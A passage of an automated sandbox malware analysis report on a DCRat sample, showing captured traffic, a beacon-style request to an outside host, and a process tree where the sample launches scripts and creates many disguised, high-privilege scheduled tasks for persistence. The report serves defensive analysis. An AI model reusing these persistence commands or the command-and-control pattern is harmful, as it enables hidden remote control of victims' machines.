Jul 3, 2024 23:52:06.946223974 CEST	1236	IN	Data Raw: 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 72 Data Ascii: webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-m
Jul 3, 2024 23:52:06.946233988 CEST	448	IN	Data Raw: 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 33 38 25 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 6f 70 61 63 69 74 79 3a 2e 34 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 66 6f 6f 74 65 72 5f 5f 72 69 67 Data Ascii: t-weight:700;line-height:138%;color:#000;opacity:.4}.wrapper .content .footer__rights .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:a
Jul 3, 2024 23:52:06.946249008 CEST	1236	IN	Data Raw: 65 72 2d 78 73 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 72 69 67 68 74 2d 73 69 64 65 20 2e 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 Data Ascii: er-xs{display:block}.wrapper .content .right-side .image-container-md{display:none}.wrapper .content .footer{max-width:328px}.wrapper .content .footer--long{max-width:333px}.wrapper .content .footer__rights{max-width:230px}}@media screen and (
Jul 3, 2024 23:52:06.946341038 CEST	1236	IN	Data Raw: 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 69 67 68 74 2d 73 69 64 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 2d 63 6f 6e 74 Data Ascii: </div> <div class="right-side"> <div class="image-container image-container-md"> <a href="https://index.from.sh/pages/game.html"> <svg width="328" height="384" viewbox="0
Jul 3, 2024 23:52:06.946352959 CEST	1236	IN	Data Raw: 37 2e 30 31 33 39 43 31 36 38 2e 37 35 20 38 37 2e 35 38 36 37 20 31 36 38 2e 35 35 39 20 38 38 2e 37 33 32 34 20 31 36 37 2e 37 39 34 20 38 39 2e 34 39 36 32 43 31 36 37 2e 34 31 31 20 39 30 2e 30 36 39 31 20 31 36 36 2e 36 34 36 20 38 39 2e 38 Data Ascii: 7.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.8781 166.072 89.6872C165.116 88.7324 163.968 87.7777 163.012 86.632C162.247 85.8682 161.099 85.1044 160.143 85.2953C159.761 85.2953 159.378 85.2953 158.995 85.486
Jul 3, 2024 23:52:06.946407080 CEST	1236	IN	Data Raw: 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35 35 20 38 39 2e 34 39 35 34 43 31 38 39 2e 37 38 39 20 38 39 2e 33 30 34 35 20 31 39 33 2e 34 32 33 20 38 39 2e 34 39 35 34 20 31 39 36 2e 38 36 36 20 38 39 2e 38 37 37 33 43 31 39 Data Ascii: 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="black"/> <path d="M199.352 96.3699C195.718 94.8423 19
Jul 3, 2024 23:52:06.946418047 CEST	1236	IN	Data Raw: 20 31 30 31 2e 31 34 35 20 32 32 30 2e 33 39 32 20 39 34 2e 34 36 31 36 43 32 32 31 2e 37 33 20 38 36 2e 30 35 39 38 20 32 32 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e Data Ascii: 101.145 220.392 94.4616C221.73 86.0598 222.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.52
Jul 3, 2024 23:52:06.951316118 CEST	1236	IN	Data Raw: 37 38 20 38 34 2e 37 38 34 36 20 31 33 36 2e 32 38 43 38 34 2e 32 31 30 38 20 31 33 36 2e 36 36 32 20 38 33 2e 32 35 34 35 20 31 33 37 2e 30 34 33 20 38 33 2e 34 34 35 38 20 31 33 37 2e 38 30 37 56 31 33 37 2e 39 39 38 43 38 33 2e 34 34 35 38 20 Data Ascii: 78 84.7846 136.28C84.2108 136.662 83.2545 137.043 83.4458 137.807V137.998C83.4458 138.38 83.2545 138.762 83.2545 139.144C82.872 140.481 82.872 141.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.
Jul 3, 2024 23:52:07.185278893 CEST	499	OUT	GET /L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384ae54368123d64aa93df=360e60b3d586218aa1c996837564f7dd&61e56f83cf389d328f5351f3b54d3707=gN0QjN5EzNwYTO2ITYiNGO4gzMiJWZ0IjYmRWMjRTM5YGNxETZhVTM&e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: a1000454.xsph.ru
Jul 3, 2024 23:52:07.396378994 CEST	1236	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 03 Jul 2024 21:52:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d [TRUNCATED] Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-betwe [TRUNCATED]

Target ID:	0
Start time:	17:51:54
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\jx2eCe6ymR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\jx2eCe6ymR.exe"
Imagebase:	0x2f0000
File size:	2'793'785 bytes
MD5 hash:	22ACD327C5273659A31E56D94CEFED20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:51:55
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe"
Imagebase:	0x450000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:51:59
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:51:59
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:51:59
Start date:	03/07/2024
Path:	C:\providerReviewperfsvc\hyperIntoruntime.exe
Wow64 process (32bit):	false
Commandline:	"C:\providerReviewperfsvc\hyperIntoruntime.exe"
Imagebase:	0xf50000
File size:	1'247'744 bytes
MD5 hash:	CA3AE9AE64643D74D4EAF06F154F272A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2177868968.0000000003271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2177868968.000000000366C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2178660270.000000001327F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:52:00
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:52:00
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:52:00
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\providerReviewperfsvc\Idle.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\providerReviewperfsvc\Idle.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\providerReviewperfsvc\Idle.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 14 /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 14 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 5 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RuntimeBroker.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:52:01
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 13 /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 12 /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 9 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 5 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
